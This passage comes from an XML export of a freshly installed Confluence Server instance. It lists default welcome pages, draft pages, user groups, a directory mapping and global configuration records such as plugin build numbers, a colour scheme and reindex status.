<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98320</id>
|
||||
<property name="hibernateVersion">24</property>
|
||||
<property name="title"><![CDATA[What is Confluence? (step 1 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[what is confluence? (step 1 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163843</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196621</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196625</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196630</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262155</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.086</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">0</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98319</id>
|
||||
<property name="hibernateVersion">30</property>
|
||||
<property name="title"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163842</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196624</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196637</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196638</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196640</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196641</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196645</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196646</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196647</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196648</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196649</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.089</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98338</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">8</property>
|
||||
<collection name="children" class="java.util.Collection"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</element>
|
||||
<element class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98326</id>
|
||||
<property name="hibernateVersion">13</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262194</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.093</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98325</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262181</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.096</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98324</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262179</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.100</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98323</id>
|
||||
<property name="hibernateVersion">7</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262157</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262158</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:52.104</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="SpaceDescription" package="com.atlassian.confluence.spaces">
|
||||
<id name="id">98357</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163851</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-04-14 11:55:11.912</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="HibernateMembership" package="com.atlassian.crowd.embedded.hibernate2">
|
||||
<id name="id">589826</id>
|
||||
<property name="parentGroup" class="InternalGroup" package="com.atlassian.crowd.model.group"><id name="id">425985</id>
|
||||
</property>
|
||||
<property name="userMember" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="HibernateMembership" package="com.atlassian.crowd.embedded.hibernate2">
|
||||
<id name="id">589825</id>
|
||||
<property name="parentGroup" class="InternalGroup" package="com.atlassian.crowd.model.group"><id name="id">425986</id>
|
||||
</property>
|
||||
<property name="userMember" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="GlobalDescription" package="com.atlassian.confluence.setup.settings">
|
||||
<id name="id">98359</id>
|
||||
<property name="hibernateVersion">1</property>
|
||||
<property name="title"/><property name="lowerTitle"/><property name="version">1</property>
|
||||
<property name="creationDate">2023-11-09 06:04:19.475</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.475</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
</object>
|
||||
<object class="PersonalInformation" package="com.atlassian.confluence.user">
|
||||
<id name="id">98358</id>
|
||||
<property name="hibernateVersion">1</property>
|
||||
<property name="title"/><property name="lowerTitle"/><property name="version">1</property>
|
||||
<property name="creationDate">2023-11-09 06:04:18.930</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.930</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="user" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="InternalGroup" package="com.atlassian.crowd.model.group">
|
||||
<id name="id">425986</id>
|
||||
<property name="name"><![CDATA[confluence-users]]></property>
|
||||
<property name="lowerName"><![CDATA[confluence-users]]></property>
|
||||
<property name="active">true</property>
|
||||
<property name="local">false</property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.320</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.320</property>
|
||||
<property name="description"/><property name="type" enum-class="GroupType" package="com.atlassian.crowd.model.group">GROUP</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="externalId"/></object>
|
||||
<object class="InternalGroup" package="com.atlassian.crowd.model.group">
|
||||
<id name="id">425985</id>
|
||||
<property name="name"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="lowerName"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="active">true</property>
|
||||
<property name="local">false</property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.284</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.284</property>
|
||||
<property name="description"/><property name="type" enum-class="GroupType" package="com.atlassian.crowd.model.group">GROUP</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="externalId"/></object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32802</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[confluence.extra.masterdetail:build]]></property>
|
||||
<property name="value"><![CDATA[<string>2</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32803</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-inline-comments:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32800</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.atlassian-nav-links-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32801</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-inline-tasks:build]]></property>
|
||||
<property name="value"><![CDATA[<string>3</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32798</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.atlassian-whitelist-core-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>3</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32799</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.custom_apps.hasCustomOrder]]></property>
|
||||
<property name="value"><![CDATA[<string>false</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32796</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-edge-index:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32797</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.crowd.embedded.admin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>3</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32794</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.audit.plugin:audit-config:retention:period]]></property>
|
||||
<property name="value"><![CDATA[<string>P3Y</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32795</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.extra.team-calendars:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1312121002</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32792</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.migration.agent:mp-status]]></property>
|
||||
<property name="value"><![CDATA[<string>{"pluginVersionLastChecked":"3.4.6","outdated":true,"upgradeBy":null,"timestamp":1699509836998}</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32793</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.audit.atlassian-audit-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>2</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32790</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.plugin.counter]]></property>
|
||||
<property name="value"><![CDATA[<int>3</int>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32791</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[reindex.status]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.index.status.ReIndexJob>
|
||||
<id>a051f6a2-cf76-4d3d-999d-ccfffe5e65d3</id>
|
||||
<startTime>2023-11-09T06:03:55.369232Z</startTime>
|
||||
<finishTime>2023-11-09T06:03:59.229997Z</finishTime>
|
||||
<stage>COMPLETE</stage>
|
||||
<acknowledged>false</acknowledged>
|
||||
<rebuildingProgress>
|
||||
<total>54</total>
|
||||
<processed>54</processed>
|
||||
</rebuildingProgress>
|
||||
<lastRebuildingUpdate>2023-11-09T06:03:58.418741Z</lastRebuildingUpdate>
|
||||
<nodeStatuses class="list"/>
|
||||
</com.atlassian.confluence.index.status.ReIndexJob>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32788</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[atlassian.confluence.colour.scheme]]></property>
|
||||
<property name="value"><![CDATA[<colourScheme>
|
||||
<colours>
|
||||
<entry>
|
||||
<string>property.style.topbarmenuselectedbgcolour</string>
|
||||
<string>#336699</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.menuselectedbgcolour</string>
|
||||
<string>#6699cc</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.navtextcolour</string>
|
||||
<string>#ffffff</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.bordercolour</string>
|
||||
<string>#6699cc</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.navselectedtextcolour</string>
|
||||
<string>#ffffff</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.breadcrumbstextcolour</string>
|
||||
<string>#ffffff</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.topbarcolour</string>
|
||||
<string>#003366</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.navselectedbgcolour</string>
|
||||
<string>#003366</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.linkcolour</string>
|
||||
<string>#326ca6</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.navbgcolour</string>
|
||||
<string>#6699cc</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.menuitemselectedtextcolour</string>
|
||||
<string>#ffffff</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.menuitemselectedbgcolour</string>
|
||||
<string>#6699cc</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.headingtextcolour</string>
|
||||
<string>#000000</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.spacenamecolour</string>
|
||||
<string>#999999</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.menuitemtextcolour</string>
|
||||
<string>#535353</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>property.style.topbarmenuitemtextcolour</string>
|
||||
<string>#326ca6</string>
|
||||
</entry>
|
||||
</colours>
|
||||
</colourScheme>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32789</id>
|
||||
<property name="context"><![CDATA[ds]]></property>
|
||||
<property name="key"><![CDATA[trash.date.migration.time]]></property>
|
||||
<property name="value"><![CDATA[<instant>2023-11-09T06:03:52.619272Z</instant>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32818</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.troubleshooting.thready.configuration.enabled]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32819</id>
|
||||
<property name="context"><![CDATA[_CALENDAR_ee65026d81383713d11480a2da8ced1608ea1448]]></property>
|
||||
<property name="key"><![CDATA[legacySubCalendarsMigrationCutoffDate]]></property>
|
||||
<property name="value"><![CDATA[<long>1699509861003</long>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32816</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration..policy_acknowledged]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32817</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm.log.PluginSettingsAuditLogService:log:upm_audit_log_v3]]></property>
|
||||
<property name="value"><![CDATA[<list>
|
||||
<string>{"userKey":"Confluence","date":1699509860734,"i18nKey":"upm.auditLog.upm.startup","entryType":"UPM_STARTUP","params":[]}</string>
|
||||
</list>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32814</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration.uuid]]></property>
|
||||
<property name="value"><![CDATA[<string>102be6f5-2e40-4d37-bd5e-e52aef8f80fb</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32815</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.analytics.client.configuration.serverid]]></property>
|
||||
<property name="value"><![CDATA[<string>BNRR-EUMS-GPB5-FJVB</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32812</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-create-content-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>5</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32813</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[gadget.counter]]></property>
|
||||
<property name="value"><![CDATA[<int>2</int>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32810</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.authentication.sso.config.sso-type]]></property>
|
||||
<property name="value"><![CDATA[<string>NONE</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32811</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.authentication.sso.config.show-login-form]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32808</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.upm.atlassian-universal-plugin-manager-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>5</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32809</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.plugins.authentication.atlassian-authentication-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>6</string>]]></property>
|
||||
</object>
|
||||
<object class="DirectoryMapping" package="com.atlassian.crowd.model.application">
|
||||
<id name="id">393217</id>
|
||||
<property name="application" class="ApplicationImpl" package="com.atlassian.crowd.model.application"><id name="id">327681</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="allowAllToAuthenticate">true</property>
|
||||
<collection name="allowedOperations" class="java.util.Set"><element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_ROLE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_ROLE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32806</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-collaborative-editor-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32807</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-roadmap-plugin:build]]></property>
|
||||
<property name="value"><![CDATA[<string>6</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32804</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[com.atlassian.confluence.plugins.confluence-space-ia:build]]></property>
|
||||
<property name="value"><![CDATA[<string>1</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32805</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[synchrony_collaborative_editor_app_registered]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32770</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[confluence.server.installation.date]]></property>
|
||||
<property name="value"><![CDATA[<date>2023-11-09 06:02:30.133 UTC</date>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
